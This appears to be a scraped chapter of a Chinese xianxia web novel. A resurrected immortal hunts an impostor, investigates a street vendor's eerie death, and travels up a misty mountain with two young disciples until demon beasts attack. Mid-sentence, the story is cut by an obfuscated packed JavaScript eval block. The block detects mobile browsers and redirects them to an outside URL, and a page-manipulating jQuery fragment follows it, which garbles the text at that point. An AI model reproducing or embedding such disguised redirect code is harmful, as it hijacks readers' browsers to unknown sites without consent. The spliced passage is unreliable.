等到颜辞镜走后,姬长卿也要悄悄溜下山,他倒要看看,臧邱山之中到底藏着什么邪物,竟敢如此大胆幻化成他的模样,若是做了好事还好,可要是做了什么坏事,这不纯纯败坏别人风评吗?
他换上一件素色劲衣,带了个斗笠,姿容绝滟、洁净明朗。
他尝试催动内力,寻找自己的灵器。
过了好久,竟没有一个回到他身边。
正当他要放弃之时,两把剑,以迅雷不及掩耳之势直穿窗户,飞到了他的面前,他打眼一瞧,呦呵,还真是初一和十五!
此初一非彼初一,这初一乃是他一把剑的名字。同理,十五也是。这是除他本命剑之外,最经常用的两把。
常言道,不行正义事,不用本命剑。
一般本命剑非重要场合不怎么用,原因无他,用了不就知道他是谁了吗?所以一般做一些见不得人的事,就比如说杀个幽灵啊的时候,就派上用场了。
姬长卿看着两个剑,心里惋惜,二十多件灵器就到了两件,这些灵气都是滴血认过主的。已经这么多年了,可能会有些迟钝,但也不至于催动内力,催动了整整一个时辰都不到,就只有三种可能——
其一:有人将这些灵器封印了起来。
其二:被别人使用了。
其三:已经销毁了。
应该是销毁了。
他故作惋惜地摸了摸两把剑,咋舌:“唉,就剩你俩了,你前面几位‘哥哥姐姐们’全都没了。”这里的哥哥姐姐们,自然指的是那些没了的灵器。
他打算从后山溜出去,却在那片茂密的桃花林中,遇见那个印象极为深刻的人。
那人名李岷,也是当年喊口号杀自己喊的最响的那个,没想到这人竟然没死,真是令人意外呀!
李岷鬼鬼祟祟的在桃花林里摸索,抬头便看见一个带着斗笠的白衣修士,吓了一大跳,随即正色道:“何人出现在此!还不报上名来。”
姬长卿那道犹如打量猎物般的视线落到他身上,透着薄纱平添几分神秘,他压低声音道:“我也挺好奇,渠善宗的长老为何会出现在我臧邱宗的桃花林里。”
李岷被这强大的气场唬住,拧眉质问:“你到底是谁?这个时间不应该在听学吗?怎么跑到林子里来?”
姬长卿不动声色的握紧手中的剑,一步一步逼近,李岷被吓得连连后退,一个不留神被树根绊倒。
他踩着李岷的腹部,当着他的面摘下斗笠,道:“见到本尊,难道不应该叫一声仙尊吗?”
“啊啊啊啊!鬼啊!!”李岷被吓得睁大了眼,想挣脱却死活也挣不开。
“难怪你这么无理,我想起来了,当年好像…你喊的最大声吧。”
“仙尊饶命,仙尊饶命。”
姬长卿捂着耳朵,道:“你刚刚有说什么吗?”
他轻哼一声,没了耐心,将那人一剑砍死,并从他身上摸到了一瓶药,经过初步判断,是使人灵力尽散的禁药。
姬长卿将他埋了,站在那块地上,传音给颜辞镜,那边刚说了句何事,他就开始自顾自的“反思”。
“徒儿,实在是对不住,我出门时不小心被人看见真容,我本想劝他帮我瞒下此事,可未曾想,他竟当场被吓死了,这可如何是好啊,我的好徒弟,你可一定要帮帮我啊。”
颜辞镜那边沉默了片刻,一阵隐忍低笑的声音传来:“无妨,这并非师尊之过,不必如此介怀。”
“那就多谢我的好徒儿费些精力替我周旋此事,不过你放心,这事你不会太为难的。”他摆弄着那个药瓶,笑着说。
“此言怎讲?”
“渠善宗那个长老李岷知道吗?他鬼鬼祟祟地出现在桃花林里,手里还拿着一瓶能让人丧失灵力的药,很难不让人想,这东西到底是给谁用的啊。”
那便沉思片刻,道:“劳烦师尊先将药送到我的屋子里,明天我自会与渠善宗宗主私下解决。”
姬长卿朗声应道:“好,那为师就不便叨扰了,去忙吧,我的好徒儿。”
他重新戴上斗笠,从桃花林离开。
不稍半刻,在暗处观察了全程的颜辞镜走了出来,他踩上那块与周围格格不入的泥土,望着姬长卿离去的背影。
“师尊的嘴…还是这么灵巧呢~”
*
下山后,路过一个卖冰糖葫芦摊,他在此停留了片刻。
那老板热情招呼道:“这位公子,来一个?”
姬长卿摇摇头,他平时就不喜欢吃这些酸东西,即使裹了糖,煮过的山楂酸性较少,也接受不了,询问道:“有没有别的?”
那老板愣了一秒,显然没想到他会这么说,他着一个小小的糖葫芦摊,哪有什么别的呀?
于是他摇摇头:“没有,不过…您可以去对面尝试一下,那边不仅裹山楂,还裹…”他说一半不说了。
“裹什么?”他问。
那老板疑神疑鬼的,扯了扯嘴角,露出一个非常不真诚的笑容,道:“您去看看不就知道了吗?”
带着怀疑的态度,他去了隔壁摊,那一看,那还真是触目惊心,不可置信!为什么会有人裹辣子?这样真的很好吃吗?
他眼神中带着惊愕,些许惊讶,就呆在那里一动不动。那边的老板看着他问道:“公子,尝尝?”
许是被这么惊奇的玩意儿惊到了,他当即决定买一个!高低得尝尝咸淡!
“来一串那个红色的辣子。”他带着激动和兴奋,摸向了自己的兜,空的。
是空的!他没带钱!
顿时感觉天都塌了,乌云聚集在自己头顶,刮风下雨,天打雷劈。
他战术性摸了摸眉毛,本来想着怎么委婉的开口说不要了,就感觉右腿处一阵痒,他挠了挠,竟摸到了钱袋子。
姬长卿现如今兴奋的就像被抛到绣球了的穷小子,激动的心情难以言表,本以为自己没带钱,没想到带了厚厚一袋!
他付完了钱,拿起冰糖辣子跑到小巷,数了数,足足带了五两银子。这就够他挥霍的了!
他看了看左手拿着的辣子,咬了一口,很辣!辣到喷火,可他没有带水袋,只能忍着。辣的龇牙咧嘴、口水直流时,舔了一口外面裹着的糖,竟感觉辣意有些消减。
糖衣可以中和掉辣子吃时的痛感,甜辣甜辣的,口味很是独特,一般人或许接受不了,但是他很爱吃!
天呐!这简直就是人间美味!到底是哪位天才大厨发明的?改天可要去好好拜访一番。
本来就是抱着尝试的心态,只买了一个,现如今,味道正好符合他的口味,便想着回去多买点。正想着,小巷外发出尖锐的叫声,声音尖细偏柔,想来是位女子。
“啊——”
他扶着斗笠,出了巷口查看,发现周日那位卖冰糖辣子的老板,被折叠成了一个基本上不可能完成的姿势,触目惊心,非常震撼。
怎么可能?怎么可能折叠成这样?他以前练过缩骨功吗?
姬长卿拨开人群,上前探查着那人的鼻息,死了…
就这么毫无征兆的死了,明明上一秒还在嬉皮笑脸的和自己说卖辣子的事,现如今人魂两隔。
“这是怎么回事?怎么突然就死了?这姿势还这么诡异…刚刚哭的人,有没有人知道是怎么回事?”
“我,我。”一名身着粗衣麻布的女子站出来。
“你是谁?他为什么会是这个姿势?”他问。
那名尖叫的女子哭着说:“我也不知道啊,小女名叫采薇,这是我的夫君,我们已经成婚三载。今日我来为他送饭,刚摆上馍馍他就不知怎么发了狂,将篮子打翻,碗都碎了,人像是疯魔了一样,就自己将自己折叠成这样,剩余的我也不知道……”
诡异,太诡异了。
这怕不是被鬼魅侵蚀,没了自我意识吧。
姬长卿问:“那你可曾看见你的夫君瞳仁有何变化?”
鬼魅侵蚀人体,便是被附了身,没有瞳仁,一片花白。可若是有鬼修操控鬼魅进入人体,便会一只眼有瞳仁另一只眼没瞳仁。
那女子努力回忆,颤颤巍巍的回答道:“好像是…有瞳仁,也好像没有,可是我记得我看见过,我我…”
“如若想不起来便不必再想。”如果说看见有的话,那就证明是鬼修操控,被鬼魅控制的人体是无法两只眼睛都有瞳仁的,所以在采薇那个角度,或许正好看到了有瞳仁的那一个。
鬼修…
怎么会呢?
按照他的逻辑,修真界有三大主修:鬼修、符修和灵修。
这三大修一直是处于“三足鼎立,互相孤立”的局面。
可自从自己的大徒弟修习了符,并带符修们走向辉煌,他们的地位水涨船高,几乎可以和灵修一起并肩。
有个笑料是这么讲的,符修以前是人人喊打,原因就是修的快、爆发性贼好。可缺点便是需要钱,但那些世家大族不在乎,他们最不缺的就是钱,所以符修的占比一直偏高,也因此,之前的符修一直处于鄙视链,在外面都抬不起头来。
连和灵修对立的鬼修,一旦聊起符修,那便是盟友一般的存在,一聊能聊一个下午,更有甚者还结识为友。
可见当初的符修如此可怜。
可说到底,符修没了符箓,就是个露头就秒的脆皮,一般的符修都把符箓当祖宗一样供着。可其实,修符也并非易事,这些符箓难画不说还冗杂繁多,光记住几个就已经是极限了,更别说还要自己创作。
创作出独一无二的符,还不如让他们去飞升当神官呢!
姬长卿很快发现不对,为什么身上还会有符?难道是鬼修办事,符修善后?不太可能。
而且这人身上怎么还有点灵气遗留的迹象?完了,这范围可广了去了,又是灵又是符又是鬼附身的,咋都叫这个老板沾上边了呢?
不过暗杀的应该不是一般人,同时凑齐三者,人脉可谓是不一般的广。
正在啧啧称叹之际,他脑袋里一根弦突然崩坏,一个答案呼之欲出。还有一种可能,那个人是鬼符灵三修!
如若这样,那这件事情就更难办了!
试着想想,三种都能掌握的比较成熟的人,毕竟是天之骄子,天纵英才。家世肯定是好的没得跑,如若要瞒下来,也不是难事。
也是可惜了,这位老板了,还有夫人,年纪轻轻就这么没了,实在是可惜呀。
采薇哀嚎一声:“夫君啊!夫君啊!啊啊啊,啊啊啊啊!呜啊啊啊啊!!”
大街上闹上这么一阵,管辖台派兵将这些人遣散,采薇也抱着她的夫君,哭着回的家,此事也算是揭过。
管辖台,是各宗门用来管辖区域和谐的。需年满十五,且筑基及以上的修士通过考核,才可在此工作,每月会有月钱。
那人的摊还没有收拾,还余下几个冰糖辣子,姬长卿将银子放到了比较隐蔽的地方,拿起剩余几个辣子走了。
*
姬长卿继续前往臧邱山,走到半山腰时并感受到山上雾蒙蒙的一片,事出反常必有妖,平白无故的,怎么起雾了?
此时,一双大手拍在他的肩膀,把他拍的一个机灵,下一只伸手抓的他,另一只手直接将他按倒在地。
那人跪在地下哭爹喊娘:“少侠饶命,少侠饶命!”
“你是谁?”他问。
“我是玄娈宗的一名弟子,我姓唐名朝(zhāo),字柏(bǎi)勰,敢问阁下是哪个宗门的?”那位紫衣公子说到自己的出处,明显骄傲了几分。
姬长卿礼貌的行礼,恭恭敬敬道:“原来是玄栾宗的弟子,在下多有冒犯,还望公子见谅。小人不过一介散修罢了。”
姬长卿压制着自己的修为,此时只有金丹中期。
“哦哦,散修啊…”唐柏勰上下打量着,感觉有些不怀好意。
正当姬长卿被盯得头皮发麻时,唐柏勰钦佩的看了看他,夸奖道:“不错嘛,一介散修竟能有金丹中期的修为,实属难得,我看你天资聪颖,不如来我玄栾宗可好?正好过段时间有个选拔弟子的试炼,你可有兴趣来?”
姬长卿尴尬的笑了笑,小朋友啊!你连我的样子都没有见过,你就想让我跟你回宗?你未免太缺心眼了吧?好歹问问我姓甚名谁吧?
“怎么?你不愿意?对了,敢问阁下之名。”唐柏勰问。
“鄙人…无名,你可以叫我浔公子。”说完这话,唐柏勰一脸同情的看着他,无名之人大多都是父母双亡,在还在不及时的情况下就死了。
唐柏勰心中感叹:好坚韧不拔的公子!必须要带回去!
唐柏勰激动地抓住他的双臂,眼神里带着兴奋和不可遏制的期待:“浔公子!与我回宗门吧!宗门之人一定会好好待你的!”
姬长卿心想大可不必,杀了自己的人,不都是这些宗门的长老吗?现在要拜他们为师,不就等于拜自己的仇人?
再说,一个二个修为没我高,他们配吗?
“多谢公子好意,不知公子此番前来臧邱山所谓何事?”他岔开话题。
唐柏勰像是突然反应过来,哦哦的点了两声头:“是师尊让我来的,这次山上有些灵异的东西,你知道不?不知道我跟你说。”
“公子请。”现如今能多打点情报就多打听点,还方便。
唐柏勰像一只出来偷粮的老鼠,对他悄悄说:“我们宗门的弟子啊,看见那个‘齑炼万符’了。还看见他师尊了,也不知是真是假,一眨眼就没了。”
姬长卿皱眉:“什么是齑炼万符?”
唐柏勰无所谓的说:“琼华啊,就,就那个散修盟,也就是现在的臧邱宗,以前的首席大弟子。”
见姬长卿不解,他解释道:“想当年,那人恐怖如斯,就在这座山上,一人灭掉了万余修士,听说当时,他一个人催动了四千多张符,又不知从哪儿引来的天雷,反正战况可惨了,不过他最后还是败了。所以就有了齑炼万符的称号,其实是有些夸大的,哪有一万张符啊…”
“那你觉得这人,是好人还是坏人?”姬长卿面不改色,可拳头却悄悄握紧,他不知琼华背负了多少骂名,如今要面对,反而有些不知所措。
唐柏勰思考一阵,模棱两可的回答:“还…还好吧。其实说实话,我就悄悄跟你一个人说,别告诉别人啊。”
姬长卿表情凝重,道:“公子请讲。”
唐柏勰贴近他的耳朵,道:“我那个师尊啊,前几年啊,有二十多个徒弟,我就是那个不受重视的中不溜。那时候我才刚筑基,自然没办法参加那次臧邱山浩劫,可是我那二十多个师兄们都过了元婴,于是他们就上山了。”
“当时的局面,九成人都死了,而我那二十多个师兄,刚好是那九成人里边的,所以那时候我师尊就我一个徒弟了。怪可怜的吧?”唐柏勰耸耸肩道。
“嗯。”
眼前之人有了回应,唐柏勰好似打开了话匣子,一股脑的全往外说:“而且经那件事情以后,修真界元气大伤,暂时找不出那么有天资的徒弟,而我师尊最看重面子,拉不下那个脸,所以就把我当成唯一的稻草,日日灵果灵草滋补,让我这个有一点点小聪明的人也上了元婴。如果真要说评价的话,按我的私心,他还蛮不错的。”
蛮—不—错—的—
这四个大字深深地烙印在姬长卿心中,顿时生涌出一股暖意,表情变得温和,与他说话的语气也不禁放软:“这样啊。”
若是说刚刚姬长卿还对这个自称玄栾宗弟子的小友有些怀疑,经过一番交谈,倒觉得这人除了童言无忌外,并无不妥。
唐柏勰说完,像是刚反应过来一样,连忙对着他道:“我可是信任你才和你说的,你可不能跟别人瞎说哈!不然我可是会变成鬼寻仇的!”
“噗——好。”他笑出了声。
他想,真是个可爱的孩子。
“你笑什么?你…”唐柏勰这个淘气的小孩话还没说完,就被山下赶来的人打断,身着熙白,看着年岁不大,应也是个小辈。无任何装饰,看着轻便灵活。
来者说:“唐白雪!又在胡说八道些什么?”他非常熟练的掐起了他的耳朵,这个动作像是演习了无数遍,牢记于心且深刻。
唐柏勰吃痛,赶忙求饶:“哎呦喂,我的好师兄诶,疼疼疼疼疼!别掐了,别掐了,待会儿被别人看见闹幺蛾子可不好了!”
那少年边掐边道歉:“这位公子,失礼了。我是白雪的师兄,姓唐名玳(dài),字柏(bǎi)凌,我这师弟从小脑子不好使,您见谅。”
姬长卿感到疑惑:“玳公子,您身边这位朝公子说,他的师兄都死绝了,那您是…”怎么个事?
唐柏凌拱手作辑,非常恭敬:“我是偃月师尊名下,而白雪是偃风师尊名下的弟子。本来是不用以师兄弟相称的,只不过宗内弟子稀缺,长老为了笼络一下同门感情,便让我们如此称呼了。”
姬长卿反应过来,这弟子稀缺的原因怕不是“臧邱山浩劫”吧…琼华还真是有本事。要照唐柏勰所说,元婴期以上修士都参加,那么玄栾宗这样的大宗门可是三大宗门之首,元婴期以上修士自然少不了,若此说来,损失最大的玄栾宗莫属了。
想到这,姬长卿忍不住嘴角上扬,还得是琼华呀!那不得把锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255211|182056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瑟给愁死啊!这还不得使劲掉头发呀,一想到他掉头发的样子,他就想笑。
“原来是如此,多谢玳公子解答,鄙人名浔,您叫我浔公子便好。”姬长卿道。
唐柏凌这人小小年纪却很沉稳识大体,不愧是偃月的弟子啊,和他真是如出一辙。
唐柏勰生气的叉着腰:“不要叫我白雪!你个百灵鸟!”
唐柏凌一个扫堂腿,大叫道:“你叫谁百灵鸟呢!滚过来!你丫的,不准躲!吃小爷一脚。”
二人就这么没由来的打闹起来,从左打到右,从右打到左。姬长卿扶额苦笑,这两个孩子年岁不大,也就十五六岁,正是爱玩闹的时候。
正想着,唐柏凌躲在他身后,唐柏勰也是气急了,看都没看直接打,姬长卿正出神呢,被这突如其来的一拳打的找不着北。
“???”姬长卿。
他的皮肤因为常年不见光而十分白皙,这一拳愣是将那皮肤打的红肿,若是按照以前他肯定是第一时间躲过,可毕竟刚刚重生,脑子正是迟钝的时候,反应了好半晌才反应过来。
他内心感叹,唉,还真是小孩子心性啊。
这一拳不仅打到了他的肩膀,把他的斗笠也一块打下来了。姬长卿眼疾手快,却也只抓住了一角,他的脸露出大半。
“!!!”完了,还没开始就要结束了。不不不,他俩应该没见过我,不对啊,他俩到底见没见过我?见没见过姬长卿!
罪魁祸首唐柏勰正低着头反思自己,乖的和只鹌鹑一样,道歉的声音比蚊子都小。而一旁的唐柏凌也没好到哪去,非常不好意思的摸摸自己的脑袋,再摸摸自己的身,活脱脱一副尴尬到无地自容的样子。
唐柏勰想要寻找话题,憋了半天道:“公子你…长的真嫩,这么清瘦,和个姑娘似的…唉,不是,我的意思是…”
唐柏凌狠拍了下他的后背,低声警告道:“怎么跟公子说话呢!”
姬长卿疑惑的“啊”了一声,噗嗤一声,被气笑了,这孩子当真是说话不过脑子。
可他说的也没错…
按常理说,一个常年习武的人不可能如此清瘦,死之前,他是浑身腱子肉,浑身上下充斥着张力。可他毕竟在棺材板里躺了整整六年之久,再硕大的肌肉都躺没了。
“其实我以前…练的也不错,嗯,只不过现在…现在疏于锻炼。而我又不喜欢出门,皮肤养白了,也养嫩了。”
“不过我倒是想问,你怎么就是个姑娘了?”姬长卿百思不得其解,他又不是雌雄莫辨。
“就…就…觉得你很文静,还十分文雅内敛,低声细语的像个姑娘。”唐柏勰实在是不知道说什么,便东拼西凑、生拉硬拽拼出了一个勉强的理由。
姬长卿:“呵,谢了,活这些年,头一次有人夸我文静。”
“嘿嘿,没事哒,没有人夸你,我天天夸你不就行了嘛!”唐柏勰挠了挠后脑勺,露出一个天真的笑容。
此事勉强告一段落,唐柏凌这才想起来问问:“不知浔公子,来此的目的是?”
“他也是想见识一下山上的邪祟,你放心吧,百灵!他金丹中期,自己能保护的好自己。”姬长卿还没说话,唐柏勰就抢答。
闻言,唐柏凌神色凝重:“此邪物不知其法力,恐难自保。然汝可独善其身,依玳之所见,公子还是尽些回吧。”
“无事,吾自幼修习,虽无尊者为吾指点迷津,却也懂些道理,玳公子大可放心,且…汝怎知我不可为你二人保驾护航?”姬长卿非常自信,自己一个化神,还保护不了你俩小兔崽子了?
简直搞笑!
“既如此,浔公子想跟便跟吧,不过丑话说在前头,若出了事,我玄栾宗不负责。”唐柏凌神色淡然,恢复了严肃。
姬长卿暗叹:嗯,不错,和偃月一样,出了事,哪怕是没出事,也要撇清关系,这般年纪轻轻便知其利害之人,实为能才。
若无意外,长大之后大概率会被调到组织部,可能是仙盟的外编,日后如若稳妥行事,在仙盟混个一官半职倒也不难,更何况他的师尊可是偃月,这么好的人脉,想不成功都难。
正想着,他眉头一皱,放缓了脚步,走在二人后面。他心口处一抽一抽的疼,像是感应到了某种力量,这种力量激发了潜在内心中的血脉,使其疯狂跳动。
他的心…早就已经丢到别的地方去了。
剩余的残力感知着这股力量,渗透进四肢百骸,迫使他走向唐柏凌,唐柏凌被猝不及防一撞,险些跌倒在地上。
他问:“何事?”
姬长卿失神的眼眸快速低下,直到恢复了片刻清明才抬起,他讪笑道:“刚刚在想若是真能在这山上碰到机缘,也是天大的好事,谁曾想这想着想着,竟撞到了公子身上,实在是抱歉。”
唐柏凌客气道:“无妨,快些赶路吧。”
身上的异样感消失,他也不自觉打量起了唐柏凌,这人到底什么来头?让偃月冒着这样大的风险收他为徒。
还是说,偃月根本就不知情。
他不愿再多想,越想事情就越麻烦,还是交给直接受害者处理吧。
这二人已见过他的真容,再戴下去实是做贼心虚,令他诧异的是,这二人竟然没有认出自己,倒也有些意外,晚芳仙尊的名号在几年前,可是响当当的!
可转头一想,自从琼华十三岁时,他便韬光养晦,闭门不出,除了那次向笙怜灵魂暴乱,几乎没怎么出过宗门,不认识也属平常,况且十年前他们才几岁?五六岁吧。五六岁能记住什么东西呢?
想到此,他放心了下来,彻底摘下斗笠,将它存储在空间戒指中。
唐柏勰看见后有些疑惑,问:“浔公子,你怎会有如此珍贵之物?”
空间戒指,顾名思义,戒指里可以储放东西。之前拍卖行里拍卖,二十两银子起步,最高被炒到了一百两。可见,此物弥足珍贵。
姬长卿脸不红,心不跳的撒谎解释:“此乃家父临终前给我的,说是好几十年前,一位修士赠予家父的宝物,后来才知此为空间戒指。”
唐柏勰若有所思,点点头。而一旁的唐柏凌明显就机灵多了,发狠了,打他一下,一点歉意,对着姬长卿道:“浔公子,并非有意提起,还望见谅。”
“无妨。”唐柏凌这少年还挺机灵,不愧是偃月那个端庄的人能看上的。
见姬长卿松了口,唐柏凌又道:“此山雾气蛮绕,公子可知为何?”
“莫非是湿气重?”姬长卿猜。
唐柏凌摇摇头,一本正经又严肃的答:“这儿雾气浓重,几年前就开始了,有人说这不是雾,是死者的魂灵。”
这一回答令现场另外的两个人缄默,究竟是多少魂灵才能积出这些雾气?起码也得三五千。
唐柏勰颤抖的抱住唐柏凌,怂怂的说:“师兄,你…你,别这么说,我害怕。”
唐柏凌一脸慈祥,看着他的眼神带着安抚,摸摸他的头,柔声道:“不必害怕,遇见什么妖兽走就是,反正偃风师尊也没指望你能给他带来什么。”
此言一出,杀人诛心。
不过被这么一激,唐柏勰的胆子变大了,有些拉不下面子的说:“怎,怎么可能啊!我这不…替师尊…收了个…个徒弟嘛…”
唐柏凌疑惑,问:“谁?”
唐柏勰指着姬长卿,有些心虚而导致的声音极其大:“他,浔公子。”
唐柏凌:“???浔公子,不知我师弟此言是真是假?”
姬长卿有些无奈,怎么又扯上自己了?自己什么时候说答应他了?不对不对,他什么时候说过要拜他师尊这话了?
他斩钉截铁的说:“假的。”
两位唐姓小友还想继续争辩,猛然的变故,打乱了他们的节奏,一直妖兽发了狂似的朝他们跑来,猛地一跳竟直直的奔向唐柏凌,在这千钧一发之际,姬长卿无所顾忌地催动灵力,使劲一挥,一道金光劈开妖兽,开膛破肚,死的好不残忍。
姬长卿面上发狠的表情还没收住,周围便多了些许嘶鸣,越来越多的妖兽包围,进也不是,退也不是。
秉持着自己是长辈,自己先上的理念,姬长卿随即,将两位唐姓小友挡在身后,凝神蓄力,手指上陡然生出阵阵光亮,伴着些闪电,只一下,便毫不费力的击穿一只妖兽。
那妖兽被斩断的同时,发出尖锐刺耳的鸣声,这是召唤的信号,这意味着会有源源不断的妖兽过来,倘若全都来,便是耗也得被耗死。
姬长卿当机立断一手拉柏凌一手拉柏勰,趁妖兽还没全来,漫无目的逃窜,他急迫的说:“抓紧我,我来为你二人保驾护航。”